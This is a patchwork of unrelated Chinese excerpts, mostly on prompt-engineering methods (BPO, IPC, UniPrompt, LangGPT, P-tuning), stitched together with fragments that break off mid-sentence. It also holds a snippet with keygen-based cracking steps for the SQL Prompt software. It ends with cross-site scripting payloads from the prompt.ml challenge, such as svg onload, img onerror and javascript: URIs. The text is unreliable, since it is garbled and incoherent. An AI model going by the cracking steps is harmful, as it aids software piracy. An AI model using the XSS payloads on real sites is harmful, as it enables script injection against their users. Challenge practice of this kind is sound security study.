当然, 参考下这些好的Prompt是非常有价值的. 但写出好的Prompt的一个关键的方式不在于去抄那些好的Prompts, 而是自己持续去改进微调你的Prompts. 根据你的期望,提出一个Prompt, 向ChatGPT提问 获得ChatGPT的响应,比对结果与你的期望的差距, 调整Prompt,弥补ChatGPT忽略的地方 再次获得ChatGPT的响应,检查是否满足你的需求 这才是好的Prompt的生成的最佳方式. 不存在一个放之四海皆标准的好Prompt, 你需要持续的与ChatGPT互动,去微调你的Prompt,才有可能让它更满足你的需求. 这篇文章是我从我过往的文章中随便选出来的 -- JMeter与LoadRunner的简要对比 第一版Prompt 我希望ChatGPT帮助我总结这篇文章说了什么, 所以我的第一版的Prompt是这样的 所以意识到这一点后,我改进了我的Prompt 第二版Prompt 我提供了一段文章,以---开始并结束. --- .... 文章内容过长,忽略.
于是有了 「Prompt工程师」这一岗位,专门撰写适配 LLM 的 Prompt,从而让模型能够更好地生成内容。而另一种更为有效的方案则是,让模型向人对齐。 因此,我们提出另外的一种方案,即黑盒提示对齐优化技术(Black-box Prompt Optimization),通过优化用户指令,从输入角度对模型进行对齐。 三、研究者说问:BPO 和反馈学习方法(PPO、DPO)以及 Prompt Engineering方法(如OPRO)的区别是什么? 与 OPRO 对比,BPO 最大的特点在于更加通用,OPRO 等现有的 Prompt Engineering 技术大多需要针对特定的数据进行搜索,并且会搜索得到一个针对特定任务的提示。 而 BPO 在训练得到提示优化器后,可以优化各种用户指令。问:BPO能否针对一条指令进行迭代优化?
为了能够让LLMs发挥出最佳性能,自动提示(Auto-Prompt)工程至关重要。 今天给大家分享的这篇文章,提出了一种名为Intent-based Prompt Calibration (IPC) 的系统,旨在通过使用合成案例样本来优化大型语言模型(LLMs)的提示(prompt)工程 「该方法核心思想是根据用户意图迭代地细化提示」, 在优化过程中,系统生成相关案例样本数据集,并根据生成的数据集优化提示。 为了解决大模型的提示敏感性问题,有人提出使用软提示(soft-prompt)的方法,但此类方法需要对LLM本身做相应的改变才可进行优化。然而最近的研究表明,可以通过大模型本身来优化提示。 优化过程中,首先通过提供一个元提示(meta-prompt)来迭代执行,这个元提示结合最近几次的提示分数,最后引导模型选出分数更高的提示。
上一章我们聊了标准化的Prompt生成方案DSPy,但DSPy还是更多依赖few-shot的Prompt编写范式,在纯任务描述型指令上的优化效果有限。这一章我们就重点关注描述性指令优化。 我们先简单介绍下结构化Prompt编写,再聊聊从结构化多角度进行Prompt最优化迭代的算法方案UniPrompt1. 以上的结构化Prompt编写其实就是把prompt拆分成了多个角度,例如profile,rules,workflow等等进行分别优化。 相比上一章DSPy里面提到的大模型反思直接优化,以及随机搜索的方案要更加有系统针对性~Prompt Optimization?论文前面很有意思,作者先尝试论证定向Prompt最优化这个事它靠不靠谱。 这里两阶段的设计和梯度累计的思路相似,其实还是想要降低个别样本,甚至个别mini-batch在prompt迭代时陷入个性而非共性优化的问题(其实你只要试试用大模型去做过prompt优化就会发现模型非常容易被带偏
优化目标: 用于一个学习对话类的游戏。可以让大学生,特别是男孩子学会如何与女孩子对话。 此对话应用于对话小游戏: 【寻找游戏大模王】利用千帆大模型4制作小游戏 优化操作指引 优化指引在新手引导里面,右上角,直接点就行,描述的很直接,有动作指引。 优化效果还是不错的,这里有一些参数我们来看着调整。 这样又生成了个模板: 总结 这只是一个简单的游戏对话的优化,虽然可以在结果中看到想要解析出来我们需要的接口还是比较麻烦的,如果要能根据结果再做反推就好了,期待这个功能。
AI 提示词(Prompt)设计优化方案 | 高效使用 AI 工具嘿,各位技术探索家们!在这个 AI 横行的时代,你是不是常常感觉自己和 AI 之间隔着一层 “神秘面纱”? 迭代优化机制建立设计提示词不是一蹴而就的,需要不断打磨、优化 。建立提示词优化闭环,包含测试、评估、改进三个阶段。 如果查询到航班取消,AI 客服接着说:“非常抱歉,您的航班已取消,系统已自动为您触发改签建议流程,我这边为您推荐几个合适的改签航班……”AI提示词(Prompt)设计优化方案 | 高效使用AI工具六、代码实现 请举例说明提示词的迭代优化过程优化案例:初始提示:"写一篇关于新能源汽车的文章"1st优化:"写一篇2000字的行业分析文章,重点对比比亚迪和特斯拉的技术路线"2nd优化:"补充2024年最新电池技术参数 自动化优化系统# 提示词自动优化算法框架def auto_optimize(prompt): while True: response = call_llm(prompt)
Prompt工程师指南应用篇:Prompt应用、ChatGPT|Midjouney Prompt Engineering 1.ChatGPT Prompt Engineering 主题: 与 ChatGPT A Comparative Study on ChatGPT and Fine-tuned BERT (Feb 2023) A Prompt Pattern Catalog to Enhance Prompt 3.Prompt 应用 在这个指南中,将介绍一些高级和有趣的方式,通过 prompt engineering 来执行有用的更高级别的任务。 请注意,本节正在积极开发中。 例如,我们可以使用它来生成情感分类器的快速样本,如下所示: Prompt: 生成10个情感分析的例子。这些例子被分类为正面或负面。生成2个负面例子和8个正面例子。 DATE_UNDERSTANDING_PROMPT = """ # Q: 2015 is coming in 36 hours.
评估程序(或“评估”)对于优化系统设计很有用。
在这里,我们讨论了几个撰写提示(输入模型的内容)的原则和技巧,这些提示将帮助您为您的任务获得最佳的生成结果。选择正确的温度也会对生成质量产生很大的影响,我们会在这里单独讨论温度。
在这里,我们讨论了几个撰写提示(输入模型的内容)的原则和技巧,这些提示将帮助您为您的任务获得最佳的生成结果。选择正确的温度也会对生成质量产生很大的影响,我们会在这里单独讨论温度。
这篇文章详细汇总了近2年10篇论文中3种Prompt Engineering方法,主要包括人工构造prompt、自动生成prompt、隐空间prompt3种类型,看看顶会论文中都是如何构造prompt模板并以此提升 1 人工构造prompt 最基础的方法就是基于人工知识来定义prompt模板。Prompt模板可以分为prefix prompt和cloze prompt两类。 prompt模板的效果选择最优的prompt模板,或对多个prompt模板结果进行融合。 3 隐空间中的prompt 上面介绍prompt模板都是具体文本的prompt,另一种类型的prompt是在隐空间的prompt。 GPT Understands, Too(2021)采用的思路是将人工定义的prompt的token对应的embedding从预训练模型输出的改为一个可学习的hidden向量,让模型去优化。
我们利用一套统一的模版,解决最困难的初始 Prompt 书写的问题,并结合实际应用一步步的进行优化,从而体系化的完成 “Prompt 工程” 的工作。 02、Prompt 万能框架 在编写 Prompt 时,从0到1的编写出第一版 Prompt 往往是最难的,而基于已有 Prompt 利用各种技巧进行优化则相对简单。 而真的要让 RAG 变得准确好用,还是有很多值得优化的地方,RAG 框架也已经有了多种优化版本。 6.2 让大模型帮你优化 Prompt 我们可以使用各种技巧优化我们的 Prompt,那大模型可不可以帮我们自动优化我们的 Prompt 呢? 利用更多技巧不断优化。 我们认为在一个大模型工程中,“Prompt”应该起到基石般的作用,有效稳定可扩展。
Prompt进阶系列4:LangGPT(构建高性能Prompt实践指南)–结构化Prompt 1.结构化 Prompt简介 结构化的思想很普遍,结构化内容也很普遍,我们日常写作的文章,看到的书籍都在使用标题 生成的初版 Prompt 足以应对大部分日常场景,生产级应用场景下的 prompt 也可以在这个初版 prompt 基础上进行迭代优化得到,能够大大降低编写 prompt 的任务量。 自动化分析评估 Prompt 可以使用 prompt 评分分析类 Prompt“” #Role:Prompt工程师 ##Attention: - 我总是被老板骂写不出来Prompt,如果你能写出优秀的 - 迭代优化能力强,能通过不断调整和测试Prompt的表现,持续改进Prompt质量。 - 能结合具体业务需求设计Prompt,使LLM生成的内容符合业务要求。 Prompt,慢慢思考并一步一步进行输出,直到最终输出优化的Prompt。
精排模型的训练目标常用的有几种,有全局优化的ListWise,有每个item独立拟合ctr等直接目标的pointwise,还有对比优化的pairwise。 UPR论文直接使用大模型,基于以下的prompt模版,计算query每个字的解码概率取平均作为P(query|content)的近似,因为可以并行解码,所以这个方案虽然用大模型但是也不算慢。 github.com/sunnweiwei/RankGPT RankGPT提出了基于permutation的大模型排序方案,模型会输入多个content上文,并使用指令要求LLM根据内容的关联性按顺序输出内容序号, prompt 论文使用以下prompt让模型对两个内容进行对比,输出A/B的结果,这里论文也是使用了prob 概率,不过相对于pointwise使用所有内容的prob概率直接进行排序,pairwise会两两进行对比,
- 使用分隔符清楚的指示输入的不同部分 (分隔符可以是任何的符号,将特定文本与提示的其余部分分隔开)
如果在句中,一般称这种Prompt为Cloze Prompt;如果在句末,一般称这种Prompt为Prefix Prompt。 作者还发现加入一些anchor token(领域或者任务相关的token)可以有助于Template的优化。例如文本蕴含任务,输入是前提和假设,判断是否蕴含。 效果会更好,此时模板变成 大家可能想问,如何优化P-tuning?实际上根据标注数据量的多少,分两种情况讨论 标注数据比较少。 这种情况,我们固定PLM的参数,只优化[\text{P}_0]\sim [\text{P}_m]这几个token的Embedding。 在P-Tuning v2中,作者发现重参数化的改进很小,尤其是对于较小的模型,同时还会影响模型的表现 Multi-task Learning:Deep Prompt Tuning的优化难题可以通过增加额外的任务数据或者无标注数据来缓解
序 本文主要研究一下如何写出更适合DeepSeek的Prompt 官方提示库 DeepSeek API 文档-提示库提供了一些DeepSeek 提示词样例。 对于非代码接入的场景,具体可以使用腾讯元器创建一个智能体,通过这个智能体来优化Prompt,再使用优化后的Prompt去DeepSeek执行 [图片] 如果是代码接入的,直接一次调用就可以 from content": "请帮我生成一个“Linux 助手”的提示词" } ] ) print(completion.choices[0].message.content) 使用火山的Prompt 优解 打开https://console.volcengine.com/ark/,进入火山方舟 --> Prompt优解 --> Prompt生成 示例: 原本的任务是【帮我推荐几本智能体的书籍】 优化后的是 小结 使用AI来回答问题,Prompt的好坏很大程度决定了DeepSeek回答的内容,但是普通人要去学习那些Prompt有些费劲,把这个也交给DeepSeek一举两得。
SQL Prompt是一款拥有SQL智能提示功能和格式化Sql代码插件。可用于的SQL Server和VS。 SQL Prompt能根据数据库的对象名称,语法和用户编写的代码片段自动进行检索,智能的为用户提供唯一合适的代码选择。自动脚本设置为用户提供了简单的代码 易读性。 下载地址 软件使用方法如下: 1.解压软件压缩包内容 2.安装SQLPrompt_7.0.0.40.exe,一路Next直至安装完成 3.打开SQL Server 2008 R2在工具栏点击SQL Prompt ,进入注册界面 菜单路径:SQL_Prompt=>Help=>Manage License… 4.注册页面 5.打开SQL.Prompt.Keygen.exe并复制序列号到刚才的窗口 6.填入,然后要先断网
这类template的定义我们在之前的《Prompt Learning——basic & 【EACL 2021】PET》中有举例过。 soft template 是在向量空间优化出来的提示,可以从一个hard template开始(初始化)通过梯度搜索之类的方式进行优化,不改变原始的提示向量的数量和位置,在它的空间进行搜索。 请注意,hard template 将使用模型进行优化,而 soft token 将被单独优化。
平台地址:http://prompt.ml/ 0. (1)</script>> "><svg/onload=prompt(1)> "><img src="x" onerror=prompt(1)> "onresize=prompt(1)> 1. (1) // Chrome <svg><script>prompt(1)</script> // ES6 <script>eval.call`${'prompt\x281)'}` ><svg/onload=prompt(1) 4. '; } } payload javascript:prompt(1)#{"action":1} vbscript:prompt(1)#{"action":1} 后面的 action 覆盖了,